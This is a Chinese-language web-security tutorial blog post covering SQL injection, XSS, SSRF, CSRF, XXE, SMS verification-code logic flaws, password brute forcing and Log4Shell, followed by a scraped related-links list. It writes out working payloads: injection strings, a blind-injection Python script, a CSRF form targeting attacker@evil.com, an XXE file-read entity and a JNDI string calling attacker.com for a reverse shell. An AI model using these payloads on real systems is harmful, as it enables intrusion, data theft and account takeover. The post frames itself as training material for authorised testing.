当前位置: 首页 > news >正文

Web安全与漏洞挖掘

WEB-01:Web安全基础概览(一)

核心概念

  • OWASP Top 10:2023年最新风险包括注入漏洞、身份认证失效、敏感数据泄露等。

  • 攻击面:前端(XSS、CSRF)、后端(SQL注入、文件上传)、协议层(HTTP头注入)。

  • 防御原则:最小权限、输入验证、输出编码、深度防御。

实战建议

  • 使用浏览器开发者工具(F12)分析请求/响应,定位潜在漏洞点。

WEB-02:SQL注入漏洞原理与危害

原理:通过未过滤的用户输入拼接SQL语句,篡改查询逻辑。

攻击类型

  1. 联合查询注入' UNION SELECT username, password FROM users--

  2. 报错注入' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--

  3. 盲注:基于布尔或时间延迟判断结果(如' AND IF(1=1, SLEEP(5), 0)--)。

危害

  • 数据库拖库(如用户凭证、支付信息)。

  • 服务器文件读取(通过LOAD_FILE()函数)。

  • 远程命令执行(通过数据库导出功能)。


WEB-03:寻找第一个SQL注入漏洞

手动测试步骤

  1. 探测注入点:在输入框或URL参数中添加'",观察是否返回数据库错误。

  2. 验证漏洞


http://example.com?id=1' AND '1'='1 -- 页面正常 http://example.com?id=1' AND '1'='2 -- 页面异常 
  1. 利用工具:使用sqlmap自动化检测:

sqlmap -u "http://example.com?id=1" --dbs 

防御方案

  • 预编译语句(如Java的PreparedStatement)。

  • 使用ORM框架(如Hibernate)。


WEB-04:Python实现自动化SQL注入攻击(一)

代码示例(基于布尔盲注):


import requests def check_vulnerability(url): payload = "1' AND 1=1 -- " response = requests.get(url + payload) if "Welcome" in response.text: return True else: return False # 调用函数 target_url = "http://example.com?id=" print("漏洞存在" if check_vulnerability(target_url) else "漏洞不存在") 

进阶:结合二分法逐字符提取数据库名(参考sqlmap算法)。


WEB-05:XSS、SSRF、CSRF漏洞中的Fuzz技巧

  1. XSS Fuzz
  • 测试Payload:<script>alert(1)</script><img src=x onerror=alert(1)>

  • 使用工具:Burp Suite的Intruder模块批量测试输入点。

  1. SSRF Fuzz
  • 探测内网IP:将参数替换为http://127.0.0.1:8080file:///etc/passwd

  • 绕过限制:使用DNS重绑定或URL编码(如http://ⓔⓧⓐⓜⓟⓛⓔ.com)。

  1. CSRF Fuzz
  • 生成POC页面:

<form action="http://target.com/change_email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit();</script> 

WEB-06:短信验证码逻辑漏洞(爆破、回显、转友)

  1. 爆破漏洞
  • 场景:验证码未做次数限制。

  • 攻击:使用Burp Suite的Intruder对4位数字验证码暴力枚举(0000-9999)。

  1. 回显漏洞
  • 场景:验证码直接返回在响应中(如JSON字段{"code": "1234"})。

  • 利用:自动化脚本提取验证码并提交。

  1. 转友漏洞
  • 场景:验证码与手机号未绑定,攻击者可复用验证码至其他号码。

  • 绕过:拦截请求修改手机号参数为受害者号码。


WEB-07:验证码与手机未绑定认证关系

漏洞原理

服务端仅校验验证码是否正确,未验证发送验证码的手机号与提交请求的手机号是否一致。

实战案例

  1. 使用自己手机号获取验证码。

  2. 提交验证码时,将请求中的手机号参数改为目标号码。

  3. 服务端误认为目标号码已验证,允许重置密码或登录。

修复方案

  • 绑定Session或Token关联手机号与验证码。

WEB-08:实战利用BP挖掘口令漏洞

步骤

  1. 捕获登录请求:通过Burp Suite拦截登录POST请求。

  2. 标记Fuzz点:选中密码字段,右键发送至Intruder

  3. 加载字典:使用rockyou.txt或自定义弱口令列表(如admin/123456)。

  4. 分析结果:根据响应长度或状态码识别成功登录。


WEB-09:BOS/Kites AMS中的Fuzz骚姿势

BOS(Bucket Overwrite Storage)漏洞

  • Fuzz目标:上传文件名参数(如../../../etc/passwd)。

  • 利用:覆盖服务器关键文件,触发RCE。

Kites AMS漏洞

  • Fuzz点:XML解析模块(XXE注入)。

  • Payload示例:


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> 

WEB-10:实战Fuzz参数到远程RCE漏洞控制电脑

案例:Apache Log4j 2.x RCE(CVE-2021-44228)

  1. Fuzz输入点:所有用户可控的日志字段、HTTP头、表单参数。

  2. 注入Payload


${jndi:ldap://attacker.com/Exploit} 
  1. 搭建恶意LDAP服务:使用工具marshalsec启动LDAP重定向至恶意类。

  2. 获取反向Shell:目标服务器加载远程类后,执行反向连接命令。


总结

本部分系统剖析了Web安全的核心漏洞类型与高级挖掘技巧,从SQL注入到逻辑漏洞,结合自动化工具与手动Fuzz方法,覆盖攻击者视角的完整渗透链路。下期预告:漏洞复现与自动化工具(Xray联动、Docker快速搭建靶场)!


注意事项

  • 所有漏洞验证需在授权范围内进行,禁止非法测试。

  • 建议使用DVWA、WebGoat等靶场进行练习。

相关文章:

  • 常见高危端口解析:网络安全中的“危险入口”
  • 网络安全-等级保护(等保) 3-1 GB/T 28448-2019 《信息安全技术 网络安全等级保护测评要求》-2019-05-10发布【现行】
  • 01-jenkins学习之旅-window-下载-安装
  • OceanBase数据库全面指南(基础入门篇)
  • Django的请求和响应+template模板
  • 软件设计师“设计原则”真题考点分析——求三连
  • 重排序模型计算两个文本的分数
  • VS Code中Maven未能正确读取`settings.xml`中配置的新路径
  • 超声仿真乳腺体模的主要声学参数
  • docker容器暴露端口的作用
  • Linux中 I/O 多路复用机制的边缘触发与水平触发
  • 基于ITcpServer/IHttpServer框架的HTTP服务器
  • 如何重新设置网络ip地址?全面解析多种方法
  • Python 数据分析基础
  • leetcode hot100刷题日记——9.矩阵置零
  • 【小乌龙问题】stm32供电,用过的ch340缺无法被识别
  • [安装并使用Milvus_CLI]
  • 开疆智能Profinet转RS485网关连接富士电机配置案例
  • 对Web界面进行简单自动化测试Selenium
  • 基于多目标优化的样本调度适应度函数设计
  • 成都极客联盟网站建设公司/百度站长平台工具
  • 国家建设部官方网站/买链接网站
  • 动效做的好的网站/最近的新闻事件
  • 宁波网站优化软件/国家卫生健康委
  • 夷陵网/百度seo怎么收费
  • 个人做地方网站/百度seo查询收录查询